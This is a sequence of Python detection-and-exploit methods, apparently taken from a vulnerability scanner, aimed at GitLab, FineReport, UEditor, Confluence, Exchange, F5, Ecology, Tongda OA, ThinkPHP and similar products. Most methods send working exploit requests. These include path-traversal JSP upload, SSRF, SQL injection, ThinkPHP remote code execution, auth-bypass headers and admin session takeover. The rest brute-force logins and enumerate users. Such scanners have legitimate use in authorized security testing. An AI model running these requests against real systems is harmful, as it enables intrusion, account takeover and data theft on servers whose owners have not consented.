def verify(self, target): """较严格判断是否是Gitlab""" url = target + "/explore/projects" conn = http_req(url, "get") if b"GitLab" not in conn.content: return False if b'authenticity_token' not in conn.content: return False try: url = target + "/api/v4/users/1" conn = http_req(url, "get") data = conn.json() if not isinstance(data, dict): return False if (not data.get("message")) and (not data.get("username")): return False except json.decoder.JSONDecodeError as e: return users = self.gen_users() if users: self.logger.success("found {} users {} {}".format(target, len(users), users)) return users
def verify(self, target): path = "/WebReport/ReportServer?op=resource&resource=/com/fr/web/jquery.js" #只能覆盖已经存在了的文件 upload_file_path = "update.jsp" url = target + path conn = http_req(url) if b'jQuery=' not in conn.content: self.logger.debug( "not found WebReport/ReportServer {}".format(target)) return upload_path = '/WebReport/ReportServer?op=svginit&cmd=design_save_svg&filePath=chartmapsvg/../../../../WebReport/' url = target + upload_path + upload_file_path headers = {"Content-Type": "text/xml;charset=UTF-8"} data = '{"__CONTENT__":"<%out.println(\\"test 2022!\\");%>","__CHARSET__":"UTF-8"}' conn = http_req(url, method='post', headers=headers, data=data) # if b'<' in conn.content: # self.logger.debug("upload file fail {}".format(target)) # return check_url = target + "/WebReport/" + upload_file_path if b'test 2022!' in http_req(check_url).content: self.logger.success("upload success {}".format(check_url)) return check_url else: self.logger.debug("check url fail {}".format(check_url)) return False
def verify(self, target): payload = "?action=catchimage&source%5b%5d=http://127.0.0.1:6981/?1.png" check = b"\\u94fe\\u63a5\\u4e0d\\u53ef\\u7528" paths = [ "/ueditor/php/controller.php", "/Public/ueditor/php/controller.php" ] paths.extend(["/js/ueditor/php/controller.php"]) paths.extend(["/statics/ueditor/php/controller.php"]) paths.extend(["/module/ueditor/php/controller.php"]) check_paths = [ b'{"state":"\\u8bf7\\u6c42\\u5730\\u5740\\u51fa\\u9519"}' ] check_paths.extend([b'{"state": "\u65e0\u6548\u7684Action"}']) check_paths.extend([b'upload method not exists']) self.logger.info("verify {}".format(target)) for path in paths: url = target + path conn = http_req(url) for check_path in check_paths: if check_path in conn.content and b"<" not in conn.content: self.logger.info("found ueditor controller {}".format(url)) ssrf_url = url + payload conn_ssrf = http_req(ssrf_url) if check in conn_ssrf.content and b"<" not in conn_ssrf.content: self.logger.success("found vul {}".format(ssrf_url)) return ssrf_url return
def check_ews(self): url = self.target + "/ews/" conn = http_req(url) if conn.status_code != 401: return False url2 = self.target + "/ews1337/" conn2 = http_req(url2) if conn2.status_code == 404 or conn2.status_code == 302: self.logger.info("found brute url {}".format(url)) return True
def verify(self, target): url = target + "/help/sys/help.html" if b'$(this).attr("src","image/btn_help_click' in http_req(url).content: self.logger.success("found Ecology {}".format(url)) return True url = target + "/js" set_cookie = http_req(url).headers.get('Set-Cookie', "") if "ecology_JSessionid" in set_cookie: self.logger.success("found Ecology {}".format(url)) return True else: return False
def login_owa(self, user, pwd): data = { 'destination': '%s' % self.target, 'flags': '4', 'forcedownlevel': '0', 'username': '******' % (self.ad_domain, user), 'password': pwd, 'isUtf8': '1', 'passwordText': '' } url = self.target + "/owa/auth.owa" conn = http_req(url, 'post', data=data) cookies_keys = [ 'cadata', 'cadataTTL', 'cadataKey', 'cadataIV', 'cadataSig' ] set_cookies = conn.headers.get('Set-Cookie') if conn.status_code == 302 and set_cookies: cnt = 0 for cookie in cookies_keys: if cookie + "=" in set_cookies: cnt += 1 if cnt >= 2: return True
def verify(self, target): url = target + "/version" conn = http_req(url) if b'"ApiVersion"' in conn.content and b"<" not in conn.content: self.logger.success("发现 Docker Remote API 未授权访问 {}".format( self.target)) return True
def verify(self, target): data = { "contentId": "0", "macro": { "name": "widget", "body": "", "params": { "url": "http://localhost/www.dailymotion.com/", "width": "300", "height": "200", "_template": "WEB-INF/web.xml" } } } '''所有1.xx,2.xx,3.xx,4.xx和5.xx版本 所有6.0.x,6.1.x,6.2.x,6.3.x,6.4.x和6.5.x版本 所有6.7.x,6.8.x,6.9.x,6.10.x和6.11.x版本 6.6.12之前的所有6.6.x版本 6.12.3之前的所有6.12.x版本 6.13.3之前的所有6.13.x版本 6.14.2之前的所有6.14.x版本''' headers = {"Content-Type": "application/json", "Referer": target} check = b"org.slf4j.bridge.SLF4JBridgeHandler" paths = ["/rest/tinymce/1/macro/preview"] self.logger.info("verify {}".format(target)) for path in paths: url = target + path conn = http_req(url, "post", headers=headers, json=data) if check in conn.content and b'confluence' in conn.content: self.logger.success("found vul {}".format(url)) return url
def login(self, target, user, passwd): """ Gitlab 登录爆破,不过存在防爆破。 """ url = target + "/users/sign_in" if len(passwd) < 8: return data_tpl = "utf8=%E2%9C%93&user%5Bremember_me%5D=0" data_tpl += "&authenticity_token={token}&user%5Blogin%5D={user}&user%5Bpassword%5D={password}" token, cookie = self._get_token_cookie() if not token or not cookie: self.logger.info("not found gitlab token {}".format(target)) return token = urllib.parse.quote(token) user = urllib.parse.quote(user) passwd = urllib.parse.quote(passwd) headers = { "Cookie": "{}={}".format(self._gitlab_session_name, cookie), "Content-Type": "application/x-www-form-urlencoded" } data = data_tpl.format(token=token, user=user, password=passwd) conn = http_req(url, "post", headers=headers, data=data) if b'You are being' not in conn.content: return False if conn.status_code != 302: return False if conn.cookies.get(self._gitlab_session_name): return True
def verify(self, target): paths = [ "/swagger.json", "/api/swagger.json", "/swagger/v1/swagger.json", "/v2/api-docs" ] paths += ["/api/v2/api-docs", "/api/v2/swagger.json"] for path in paths: url = target + path conn = http_req(url) if conn.status_code != 200: continue text = conn.text.strip() if not text.startswith("{"): continue if not text.endswith("}"): continue check_str = ['"paths"', '"swagger"'] if check_str[0] not in text: continue if check_str[1] not in text: continue self.logger.success("Found swagger url {}".format(url)) return url
def _get_user(self, uid): url = "{}/api/v4/users/{}".format(self.target, uid) self.logger.debug("req >>> {}".format(url)) conn = http_req(url, "get") data = conn.json() #if data.get("state") == "active": return data.get("username")
def verify(self, target): url = target + "/_cat" conn = http_req(url) if b'/_cat/master' in conn.content and b"<" not in conn.content: self.logger.success("发现 Elasticsearch 未授权访问 {}".format( self.target)) return True
def verify(self, target): payload = "?action=uploadfile" check = b"\\u94fe\\u63a5\\u4e0d\\u53ef\\u7528" paths = [ "/ueditor/php/controller.php", "/Public/ueditor/php/controller.php" ] paths.extend(["/js/ueditor/php/controller.php"]) paths.extend(["/statics/ueditor/php/controller.php"]) paths.extend(["/module/ueditor/php/controller.php"]) paths.extend(["/ueditor/jsp/controller.jsp"]) check_paths = [ b'{"state":"\\u8bf7\\u6c42\\u5730\\u5740\\u51fa\\u9519"}' ] check_paths.extend([b'{"state": "\u65e0\u6548\u7684Action"}']) check_paths.extend([b'upload method not exists']) self.logger.info("verify {}".format(target)) for path in paths: url = target + path conn = http_req(url) for check_path in check_paths: if check_path in conn.content and b"<" not in conn.content: self.logger.info("found ueditor controller {}".format(url)) upload_url = url + payload poc_url = self._upload_xss(upload_url) if poc_url: self.logger.success("found vul {}".format(poc_url)) return poc_url return
def send_encrypt(self, data): url = self.target + "/" url = url + "?" + random_choices() + "=" + random_choices() headers = {"Cookie": '{}={}'.format(self._cookie_name, data)} set_cookie = http_req(url, headers=headers).headers.get('Set-Cookie', "") return set_cookie
def verify(self, target): if not self.is_f5(target): return self.logger.debug("found f5 {}".format(target)) headers = {"X-F5-Auth-Token": "", "Authorization": "Basic cm9vdDo="} check = b"tm:sys:global-settings:global-settingsstate" url = target + "/mgmt/tm/sys/global-settings" conn = http_req(url, headers=headers) if conn.status_code != 200: return if check not in conn.content: return data = conn.json() hostname = data.get("hostname") ret = {"hostname": hostname} self.logger.success("found f5 rce {} {}".format(target, hostname)) if hostname: return ret return target
def _get_codeid(self, url): data = {"UID": "1", "CODEUID": ''} codeid = http_req(url, 'post', data=data).content[-46:-8] if not re.findall(b'\{[a-zA-Z0-9-]{36}\}', codeid): return return codeid.decode('utf8')
def verify(self, target): url = target + "/help/sys/help.html" if b'$(this).attr("src","image/btn_help_click' not in http_req( url).content: self.logger.debug("not Ecology {}".format(target)) return False path = "/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20111111*1111%20as%20id%20from%20HrmResourceManager" url = target + path content = http_req(url).content if b"<" in content: return False if b"123444321" in content: self.logger.success("found Ecology SQLI {}".format(target)) return url
def _get_token_cookie(self): token = "" url = self.target + "/explore/projects" conn = http_req(url, "get") pattern = r'<meta\s+name="csrf-token"\s+content="([^\"]+)+"\s+/>' matches = re.findall(pattern=pattern, string=conn.text) if matches: token = matches[0] return token, conn.cookies.get(self._gitlab_session_name)
def verify(self, target): path_list = ["/webroot/decision/system/info", "/decision/system/info"] for path in path_list: url = target + path conn = http_req(url) if b"frontSeed" in conn.content and b'name' in conn.content: self.logger.success("found FineReport V10 {}".format(url)) return url
def check_app(self, target): url = target + "/login.jsp" conn = http_req(url, "get") if self._check_str not in conn.content: return False if conn.status_code == 200: return True else: return False
def check_app(self, target): url = target + "/manager/html" conn = http_req(url, "get") if self._check_str not in conn.headers.get("WWW-Authenticate", ""): return False if conn.status_code == 401: return True else: return False
def verify(self, target): payload = "?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=20200311a" check = b"6a5b23e9427abaac6a90a3067dc0953d" paths = ["/", "/public/"] self.logger.info("verify {}".format(target)) for path in paths: url = target + path + payload conn = http_req(url) if check in conn.content: self.logger.success("found vul {}".format(url)) return url
def verify(self, target): paths = [ "/actuator;/env;.css", "/api/actuator;/env;.css", "/api;/env;.css", "/;/env;.css" ] for path in paths: url = target + path conn = http_req(url) if b'java.runtime.version' in conn.content: self.logger.success("发现 Actuator API 未授权访问 {}".format( self.target)) return url
def verify(self, target): path_list = ["/webroot/", "/WebReport/", "/seeyonreport/"] check_path = "ReportServer?op=resource&resource=/com/fr/web/jquery.js" check = b"jQuery=" for path in path_list: url = target + path + check_path conn = http_req(url) if check in conn.content and b"<title>" not in conn.content: self.logger.success("found FineReport {}".format(url)) return target + path + "ReportServer"
def verify(self, target): url = target + "/druid/webapp.json" conn = http_req(url) if b'<' in conn.content: return False if b'"ResultCode"' not in conn.content: return False if b'"RequestCount"' in conn.content: self.logger.success("发现 Druid 未授权访问 {}".format(self.target)) return url
def _get_user(self, uid): if self.gen_user_skip: return try: url = "{}/api/v4/users/{}".format(self.target, uid) conn = http_req(url, "get") data = conn.json() if data.get("state") == "active": return data.get("username") except json.decoder.JSONDecodeError as e: self.logger.info("skip gen user {}".format(self.target)) self.gen_user_skip = True
def verify(self, target): url = target + "/" headers = {"Cookie": "rememberMe=1"} set_cookie = http_req(url, headers=headers).headers.get('Set-Cookie', "") if "rememberMe=deleteMe" in set_cookie: self.logger.success("found shiro {}".format(target)) return True else: return False
def verify(self, target): headers = { "Cookie": "X-AnonResource-Backend=127.0.0.1/?~3;X-AnonResource=true;" } url = target + "/owa/auth/tes123.js." conn = http_req(url, headers=headers) item = conn.headers.get("X-CalculatedBETarget") if item == "127.0.0.1": self.logger.success("found Exchange SSRF {}".format(target)) return target
def check_app(self, target): url = target + "/api/json" conn = http_req(url, "get") if self._check_str not in conn.content: return False if b'<title' in conn.content: return False if conn.status_code == 403: return True else: return False
def verify(self, target): paths = ["/general/login_code.php"] logincheck_path = "/logincheck_code.php" admin_path = "/general/index.php?isIE=0" self.logger.info("verify {}".format(target)) for path in paths: codeid = self._get_codeid(target + path) if not codeid: break self.logger.info("found codeid on {}".format(target + path)) logincheck_url = target + logincheck_path logincheck_data = { "UID": "1", "CODEUID": codeid, "USER_ID": "admin" } logincheck_conn = http_req(logincheck_url, 'post', data=logincheck_data) phpsessid = logincheck_conn.cookies.get("PHPSESSID") if not phpsessid: break self.logger.info("found phpsessid on {}".format(logincheck_url)) admin_url = target + admin_path admin_cookie = {"PHPSESSID": phpsessid} admin_conn = http_req(admin_url, 'get', cookies=admin_cookie) result = re.findall("var cur_login_user_id=\"(.*?)\"", admin_conn.text) if result and result[0] == "admin": self.logger.success("found vul {}".format(admin_url)) return admin_url